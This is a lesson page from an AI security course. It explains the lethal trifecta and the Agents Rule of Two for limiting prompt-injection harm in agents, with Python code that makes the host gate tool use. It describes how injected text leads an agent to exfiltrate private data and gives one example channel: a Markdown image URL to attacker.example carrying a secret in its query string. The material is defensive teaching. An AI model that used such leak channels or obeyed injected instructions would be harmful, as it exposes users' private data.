Catalog My learning Blog
AI Security Course: OWASP LLM Top 10 2026 and Agentic AI · Phase 1 · Lesson 5 · 4 min read

The Lethal Trifecta and the Agents Rule of Two

On this page
  1. The lethal trifecta: the shape of most agent incidents
  2. Why capability rules beat detection
  3. Enforcing the Rule of Two in the host application
  4. Four options when all three properties meet
  5. Check yourself

The lethal trifecta: the shape of most agent incidents

Most catastrophic agent incidents look the same. The agent can read something private. It reads something an attacker wrote. And it can send something to the outside world. The attacker's text tells it to collect the private data and send it out.

Simon Willison named this combination the lethal trifecta in June 2025:

  1. access to private data,
  2. exposure to untrusted content,
  3. the ability to communicate externally.

Any two are usually manageable. All three in one agent mean a prompt injection anywhere in the untrusted content can become data theft.

Meta's security team generalized it in October 2025 as the Agents Rule of Two. Within one session, an agent should have at most two of: processing untrustworthy input, access to sensitive systems or data, and the ability to change state or communicate externally. If a task really needs all three, it shouldn't run autonomously. A human supervises and approves, or the task gets split.

An agent may hold any two of the three properties. When all three meet in one session, a single injected instruction can complete the attack.
An agent may hold any two of the three properties. When all three meet in one session, a single injected instruction can complete the attack.

Why capability rules beat detection

These rules don't depend on spotting the attack. You don't need to know what the injected text says, only which capabilities coexist. Classifiers and prompt instructions can be beaten by phrasings nobody has seen. A session that can't send data out can't leak it, however clever the text.

The catch is that the third property hides in unexpected places. Sending email is obvious. So is an HTTP request with data in it. Less obvious: writing to a database another system reads, running code, and rendering an image. If your UI renders Markdown, an image whose URL is https://attacker.example/x.png?d=<secret> sends the secret the moment the browser loads it, with no tool call at all. That's exactly how several real assistant exploits worked.

Enforcing the Rule of Two in the host application

Label every input source and tool with the properties it adds, and let the host decide before the session starts:

Code
from dataclasses import dataclass

UNTRUSTED, SENSITIVE, EFFECT = "untrusted_input", "sensitive_access", "state_change_or_external"

TOOL_PROPS = {
    "search_kb":    set(),
    "fetch_url":    {UNTRUSTED},          # brings attacker-controllable text into context
    "lookup_order": {SENSITIVE},
    "send_email":   {EFFECT},
    "issue_refund": {EFFECT},
}
SOURCE_PROPS = {"public_chat": {UNTRUSTED}, "staff_console": set()}

@dataclass
class SessionPolicy:
    autonomous: bool
    approval_required: set[str]
    reason: str

def plan_session(source: str, tools: list[str]) -> SessionPolicy:
    props = set(SOURCE_PROPS[source])
    for t in tools:
        props |= TOOL_PROPS[t]
    if len(props) <= 2:
        return SessionPolicy(True, set(), f"Rule of Two satisfied: {sorted(props)}")
    effect_tools = {t for t in tools if EFFECT in TOOL_PROPS[t]}
    return SessionPolicy(False, effect_tools, "All three present: effectful tools need approval")

print(plan_session("public_chat", ["search_kb", "lookup_order"]))
# autonomous: untrusted input and sensitive access, but no way to act or send data out
print(plan_session("public_chat", ["lookup_order", "send_email", "issue_refund"]))
# not autonomous: send_email and issue_refund need approval in this session

Four options when all three properties meet

  • Remove a capability. A public assistant doesn't need other customers' data, or a free-form email tool.
  • Constrain it. Email only the verified customer's own address, and fetch only allowlisted domains. A constrained capability may no longer count as external communication.
  • Split the agent. One component reads untrusted content and produces narrow, structured output. A separate privileged component acts on that output without ever seeing the raw text. Day 8 covers this pattern.
  • Add a human. Require approval right before the step that would complete the third leg.

For SupportBot, the result is concrete: lookup_order only returns the caller's own orders, send_email can only reply to the verified customer, and refunds above a small limit wait for a human.

Check yourself

Yes. Inbound email is untrusted input, the mailbox is sensitive data, and calendar invites change state and can carry text to outside recipients. Split it, constrain invites to internal attendees, or require approval.

Rendered images and links are a channel. An image URL with document text in its query string leaks data when the browser loads it. Strip or allowlist images and links.

The host decides which tools exist in a session, and the model can't change that, however it's instructed. A rule in the prompt is only text the attacker's text competes with.

Access to private data, exposure to untrusted content, and a way to communicate externally. When an agent has all three, injected instructions can make it send private data out, so designs should remove at least one.